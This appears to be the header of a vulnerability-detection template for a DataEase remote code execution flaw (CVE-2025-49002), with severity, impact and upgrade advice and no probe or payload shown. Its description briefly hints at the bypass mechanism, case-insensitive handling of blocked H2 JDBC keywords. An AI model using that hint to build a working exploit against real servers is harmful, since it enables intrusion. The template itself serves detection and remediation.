DataEase - Remote Code Execution

id: CVE-2025-49002

info:
  name: DataEase - Remote Code Execution
  author: WeQi
  severity: high
  description: |
    DataEase is an open-source business intelligence and data visualization platform. Public advisories state that CVE-2025-49002 is related to a bypass in the previous fix for CVE-2025-32966 involving case-insensitive handling of restricted H2 JDBC keywords. This template is a non-invasive detection template intended only to identify exposed DataEase instances and extract possible version hints for manual verification. It does not attempt authentication bypass, JDBC exploitation, or command execution.
  impact: |
    If the target is running an affected DataEase version, an attacker may exploit the vulnerable logic as part of a broader attack chain. Public exposure of the application increases risk.
  remediation: |
    Upgrade DataEase to 2.10.10 or later, restrict public access to management/API endpoints, and review whether vulnerable datasource-related interfaces are exposed.
